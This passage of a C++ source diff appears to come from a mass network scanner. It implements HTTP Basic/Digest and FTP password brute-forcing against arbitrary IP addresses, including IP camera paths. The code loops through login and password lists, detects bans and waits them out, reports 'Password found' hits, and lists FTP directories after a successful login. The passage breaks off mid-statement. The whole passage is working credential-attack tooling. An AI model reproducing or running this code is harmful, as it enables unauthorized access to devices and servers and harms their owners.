strcat(hMsg, hMsgR); + xx += x; + ZeroMemory(hMsgR, sizeof(hMsgR)); + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(hMsg)); + }; +#pragma endregion + if(strlen(hMsg) == 0) + { + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstr(hMsg, "401 ") == NULL && strstr(hMsg, ".1 401") == NULL && strstr(hMsg, ".0 401") == NULL) + { + if(strstri(hMsg, "400 Bad") != NULL) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.other, "[400 Bad Request]"); + OnLiner = 0; + return lps; + } + else if(strstri(hMsg, "404 Not") != NULL || strstr(hMsg, "404 ") != NULL || strstr(hMsg, ".1 404") != NULL || strstr(hMsg, ".0 404") != NULL) + { + if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) + { + int sz = strlen("/view/viewer_index.shtml"); + strncpy(path, "/view/viewer_index.shtml", sz); + memset(path + sz, 0, 1); + goon = true; + } + else + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); + OnLiner = 0; + return lps; + }; + }; + + if(goon == false) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.login, "NULL"); + strcpy(lps.pass, "NULL"); + OnLiner = 0; + return lps; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); +#pragma endregion + + OnLiner = 1; + char tPass[256] = {0}; + char curLogin[256] = {0}; + char curPass[256] = {0}; + int cCode; + int cErrCode; + int x = 1; + int dataSz = 0; + int maxSize = 1024; + char recvBuff[4096] = {0}; + char recvBuff2[512] = {0}; + char pass[256] = {0}; + int WSAErr; + + char localBuff[4096] = {0}; + strcpy(localBuff, data); + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + + ZeroMemory(curLogin, sizeof(curLogin)); + ZeroMemory(curPass, sizeof(curPass)); + strcpy(curLogin, loginLst[i]); + strcpy(curPass, passLst[j]); + + ZeroMemory(request, sizeof(request)); + ZeroMemory(tPass, sizeof(tPass)); + strncpy(tPass, curLogin, strlen(curLogin)); + strcat(tPass, ":"); + strncat(tPass, curPass, strlen(curPass)); + string encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); + strcpy(tPass, base64_decode(encoded).c_str()); + + + + if(strcmp(method, "[DIGEST]") == 0) + { + char attribute[2048] = {0}; + strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); + char nonce[128] = {0}; + strcpy(nonce, _getAttributeValue(attribute, "nonce=")); + char realm[128] = {0}; + strcpy(realm, _getAttributeValue(attribute, "realm=")); + + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); + strcat(request, curLogin); + strcat(request, "\", realm=\""); + strcat(request, realm); + strcat(request, "\", nonce=\""); + strcat(request, nonce); + strcat(request, "\", uri=\""); + strcat(request, path); + strcat(request, "\", qop=auth, response=\""); + strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce)); + strcat(request, "\"\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + } + else + { + if(strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); + strcat(request, encoded.c_str()); + strcat(request, "\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + }; + + if(BALogSwitched) stt->doEmitionBAData("Probing " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass)); + + +#pragma region BABSEQ-HTTPS + if(port == 443) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + strncpy(recvBuff, _baSSLWorker(ip, request), sizeof(recvBuff)); + } +#pragma endregion + else +#pragma region BABSEQ-HTTP + { + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + if(cCode != SOCKET_ERROR) + { + x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + dataSz = 0; + maxSize = 1024; + ZeroMemory(recvBuff2, 512); + ZeroMemory(recvBuff, sizeof(recvBuff)); + while (x > 0 && dataSz < 3584) + { + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); + + dataSz += x; + Activity += x; + if(x <= 0) break; + + strcat(recvBuff, recvBuff2); + }; + } + else + { + stt->doEmitionRedFoundData("[BA][CRITICAL] Send error! [" + QString(ip) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + } + else + { + int WSAErr = WSAGetLastError(); + if(WSAErr != 10060) + { + stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]"); + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + }; +#pragma endregion + + if(globalScanFlag == false) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + if(strlen(recvBuff) == 0) + { + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Empty reply. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); +#pragma endregion + strcpy(lps.login, "UNKNOWN"); + + return lps; + }; + if(strcmp(method, "[DIGEST]") == 0) + { + ZeroMemory(localBuff, sizeof(localBuff)); + strcpy(localBuff, recvBuff); + }; + if((strstri(recvBuff, "http/1.1 404") != NULL || strstri(recvBuff, "http/1.0 404") != NULL + ) && strstri(recvBuff, "Authorization required") == NULL) + + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); +#pragma endregion + } + else if(strstr(recvBuff, "503 Service Unavailable") != NULL || + strstr(recvBuff, "503 service unavailable") != NULL || + strstr(recvBuff, "http/1.1 503") != NULL || + strstr(recvBuff, "HTTP/1.1 503") != NULL || + strstr(recvBuff, "HTTP/1.0 503") != NULL + ) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 503 - Ban detected? Waiting 1 min (" + QString(ip) + ":" + QString::number(port) + ")"); +#pragma endregion + + if(j > 0) --j; + Sleep(60000); + } + else if(strstri(recvBuff, "Authentication required") != NULL + || strstri(recvBuff, "Authentication failed") != NULL + || strstri(recvBuff, "Authentication Required") != NULL + || strstri(recvBuff, "HTTP/1.1 401 ") != NULL + || strstri(recvBuff, "HTTP/1.0 401 ") != NULL + || strstri(recvBuff, "401 Unauthorized") != NULL + || strstri(recvBuff, "401 Authorization") != NULL) + { + /*dummy*/ + } + else if( (strstri(recvBuff, "200 ok") != NULL + || strstri(recvBuff, "HTTP/1.0 200") != NULL + ) && strstri(recvBuff, "Access forbidden") == NULL + && strstri(recvBuff, "Authentication required") == NULL + && strstri(recvBuff, "Authentication failed") == NULL + && strstri(recvBuff, "Authentication Required") == NULL + && strstri(recvBuff, "HTTP/1.1 401 ") == NULL + && strstri(recvBuff, "HTTP/1.0 401 ") == NULL + && strstri(recvBuff, "401 Unauthorized") == NULL + && strstri(recvBuff, "401 Authorization") == NULL + && strlen(recvBuff) > 13 + ) + { + if(strstri(recvBuff, "meta http-equiv=\"refresh\"") != NULL) + { + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + strcat(pass, " [FH]"); + OnLiner = 0; + strcat(tPass, " [ FAKE HIT ]"); + + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + if(strstri(recvBuff, "window.location.href") != NULL) + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, "[Redirect in Basic Authorization detected. Check defaults manually ("); + strcat(pass, tPass); + strcat(pass, ")]"); + OnLiner = 0; + stt->doEmition_BAGreenData("[-] " + QString(pass)); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + if(strstri(recvBuff, "Access is Denied") == NULL + && strstri(recvBuff, "iisstart") == NULL + && strstri(recvBuff, "Location:") == NULL + && strstri(recvBuff, "Access forbidden") == NULL + && strstri(recvBuff, "Authentication required") == NULL + ) + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + OnLiner = 0; + stt->doEmition_BAGreenData("[+] " + QString(pass)); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + } + else + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + OnLiner = 0; + char *pt1 = strstr(recvBuff, " "); + if(pt1 != NULL) + { + char *pt2 = strstr(pt1 + 1, " "); + if(pt2 != NULL) + { + int sz = pt2 - pt1 - 1; + char tempHeaderCode[16] = {0}; + strncpy(tempHeaderCode, pt1 + 1, sz); + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + } + else + { + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + } + else + { + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + }; + }; + }; +#pragma endregion + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +} +lopaStr Connector::_BALobby(char *ip, int port, char *path, char *method, char *data) +{ + BConInc(); + lopaStr res = _BABrut(ip, port, path, method, data); + BConDec(); + return res; +}; + +lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char recvBuff[1024] = {0}, request[64] = {0}; + + int connectionResult, closedSocket = 1, loginFailedFlag = 0; + + SOCKET sockFTP; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] " + QString("Bad address! (") + QString(ip) + ")"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + bool breakPassLoop = 0; + for(int i = 0; i < MaxLogin; ++i) + { + if(globalScanFlag == false) break; + if(strlen(loginLst[i]) <= 1) continue; + for(int j = 0; j < MaxPass; ++j) + { + if(globalScanFlag == false) break; + if(strlen(passLst[j]) <= 1) continue; + if(closedSocket) + { + closedSocket = 0; + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + loginFailedFlag = 0; + }; + + OnLiner = 1; + + if(connectionResult != SOCKET_ERROR) + { + int x = 0; + int bTO; + while (true) + { + if(globalScanFlag == false) break; + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); + if(x == -1 || x == 0) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + Activity += x; + closedSocket = 0; + if(strstr(recvBuff, "451 The parameter is incorrect.") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BARedData("[*] Anonymous access detected - " + QString(ip)); +#pragma endregion + strcpy(lps.other, "Unknown protocol (451 Error)"); + return lps; + }; + + if(strstri(recvBuff, "only anonymous") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); +#pragma endregion + strcpy(lps.login, "anonymous"); + strcpy(lps.pass, "1"); + return lps; + }; + + if(strstr(recvBuff, "550 No connections allowed") != NULL || strstr(recvBuff, "550 no connections allowed") + || strstr(recvBuff, "550-")) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + closedSocket = 1; + +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip) + ":" + QString::number(port)); +#pragma endregion + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(recvBuff, "500 Sorry, no such command") != NULL || strstr(recvBuff, "no such command")) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + closedSocket = 1; + strcpy(lps.other, "[500 Sorry, no such command]"); + return lps; + }; + + if((strstr(recvBuff, "500 ") != NULL || strstr(recvBuff, "500-") != NULL || strstr(recvBuff, "500 -") != NULL) + && strstr(recvBuff, "500 oops") == NULL && strstr(recvBuff, "500 OOPS") == NULL) + { + j = 0; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + break; + }; + + if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL || strstr(recvBuff, "421 -") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + break; + }; + + if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) + { + ++i; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + break; + }; + + if((strstr(recvBuff, "530 Sorry") != NULL) || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) + || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "exceeded") != NULL) || strstr(recvBuff, "exceeded") != NULL + || strstr(recvBuff, "421 Too many") != NULL || strstr(recvBuff, "from this IP") != NULL || strstr(recvBuff, "from your IP") != NULL) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 503 - Ban detected? Waiting 1 min (" + QString(ip) + ":" + QString::number(port) + ")"); +#pragma endregion + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + if(j > 0) --j; + ZeroMemory(recvBuff, sizeof(recvBuff)); + Sleep(60000); + break; + } + else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) + { + strcpy(request, "USER "); + if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); + else + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + + ZeroMemory(request, sizeof(request)); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else if(strstr(recvBuff, "530") != NULL || strstr(recvBuff, "Login incorrect") != NULL + || strstr(recvBuff, "500 OOPS") != NULL|| strstr(recvBuff, "500 oops") != NULL) + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + break; + } + else if(strstr(recvBuff, "331") != NULL) + { + if((strstr(recvBuff, "530 Non-anonymous sessions must use encryption") != NULL) || + (strstr(recvBuff, "331 Non-anonymous sessions must use encryption") != NULL) || + (strstr(recvBuff, "331 Rejected--secure connection required") != NULL) + ) + { + stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + closedSocket = 1; + + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if(strstri(recvBuff, "permission denied") == NULL) + { + strcpy(request, "PASS "); + if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); + else + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + Activity += strlen(request); + ZeroMemory(request, sizeof(request)); + + if(BALogSwitched) stt->doEmitionBAData("Probing " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j])); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else + { + breakPassLoop = 1; + stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); + break; + }; + } + else if(strstr(recvBuff, "230") != NULL) + { + char pass[128] = {0}; + + strcpy(pass, ip); + strcat(pass, " - FTP Password found: "); + strcat(pass, loginLst[i]); + strcat(pass, ":"); + strcat(pass, passLst[j]); + + char recvBuff2[2048] = {0}; + if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) + { + int x = 1, xx = 0; + while(x != 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sockFTP, recvBuff, 512, gTimeOut + 5, &bTO); + xx += x; + if(xx < 1536) strcat(recvBuff2, recvBuff); + else break; + }; + + if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) + { + stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + strcpy(lps.other, "ROUTER"); + closedSocket = 1; + OnLiner = 0; + return lps; + }; + +#pragma region Get pasv Port + char *ptr0 = strstr(recvBuff2, "227 "); + if( ptr0 != NULL ) + { + if(strstr(ptr0, "(") != NULL) + { + char pasvData[32] = {0}; + char *ptr1 = strstr(ptr0, "("); + char *ptr2 = strstr(ptr0, ")"); + int sz = ptr2 - ptr1 - 1; + strncpy(pasvData, ptr1 + 1, sz); + char *ptr3 = strstr(pasvData, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + + if(ptr3 != NULL) + { + char *ptrP2 = strstr(ptr3 + 1, ","); + char p1c[8] = {0}; + sz = ptrP2 - ptr3 - 1; + strncpy(p1c, ptr3 + 1, sz); + int p1 = atoi(p1c); + int p2 = atoi(ptrP2 + 1); + port = p1 * 256 + p2; + + sockAddr.sin_port = htons(port); + SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sockFTP, "LIST\r\n", 6, 0); + + ZeroMemory(recvBuff, sizeof(recvBuff)); + int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); + if(x <= 0) + { + stt->doEmition_BAGreenData("[*] " + QString(pass) + " [LIST failed]"); + } + else + { + if(strstr(recvBuff, "unknown command") != NULL) + { + stt->doEmition_BARedData("[-] LIST failed."); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + shutdown(newSockFTP, SD_BOTH); + closesocket(newSockFTP); + closedSocket = 1; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); + }; + shutdown(newSockFTP, SD_BOTH); + closesocket(newSockFTP); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); +#pragma endregion + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; +#pragma endregion + + if(strlen(recvBuff) > 1) + { + strcpy(ps->headr, "
 (");
+								strncat(ps->headr, recvBuff, 256);
+								strcat(ps->headr, ")
"); + }; + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + closedSocket = 1; + return lps; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + closedSocket = 1; + return lps; + }; + }; + }; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + } + else + { + char err[128] = {0}; + + int WSAerr; + if(connectionResult == -1) WSAerr = WSAGetLastError(); + else WSAerr = 10060; + + if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + { + strcpy(err, "[FTPBrute] Cannot connect to "); + strcat(err, ip); + strcat(err, " ["); + strcat(err, std::to_string((long double)WSAerr).c_str()); + strcat(err, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(err)); +#pragma endregion + }; + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + Sleep(100); + + if(breakPassLoop) + { + breakPassLoop = false; + break; + }; + }; + }; + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +}; + +int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + SSL *ssl = NULL; + int bytes = 0; + char *recvBuff2 = 0; + int resCode = 0; + + SSL_library_init(); + + SSL_CTX *ctx = InitCTX(); + SOCKET sock = OpenConnection(iph, porth); + if(sock >= 0) + { + ssl = SSL_new(ctx); /* create new SSL connection state */ + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, requesth, strlen(requesth)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); + + int x = 256; + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_LENGTH]; + ZeroMemory(recvBuff2, RECV_MAX_LENGTH); + + while (x > 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); + if(x <= 0) break; + + bytes += x; + Activity += x; + + if( bytes > RECV_MAX_LENGTH ) + { + if(strstri(recvBuff2, "http/1.") == NULL) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + } + else break; + }; + if(globalScanFlag == true) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + strcat(recvBuff2, recvBuff); + } + else + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); + CSTR->lowerBuff = new char[12]; + strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); + + CSTR->size = 11; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + }; + }; + }; + + if(bytes < 0) + { + stt->doEmitionRedFoundData("[SSL error] (_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); + }; + + SSL_free(ssl); + shutdown(sock, SD_BOTH); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + + if(bytes == 0 || recvBuff2 == NULL) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); + CSTR->lowerBuff = new char[bytes + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + + strncpy(CSTR->lowerBuff, recvBuff2, bytes); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSTR->size = bytes; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); /* close socket */ + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; + } + else + { + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; +}; +void __deleteExcessiveNullBytes(char *buff, int sz) +{ + int j = 0; + for(int i = 0; i < sz - 1; ++i) + { + if(buff[i] != 0) buff[j++] = buff[i]; + }; +}; +struct linger linger = { 0 }; +int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *CSTR, int force) +{ + CSTR->lowerBuff = NULL; + if(strlen(ip) == 0) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + if(port < 0 || port > 65535) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; + }; + + int recvBuffSize = 0; + char *recvBuff2 = NULL; + char request[2049] = {0}; + strcpy(request, requesth); + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = 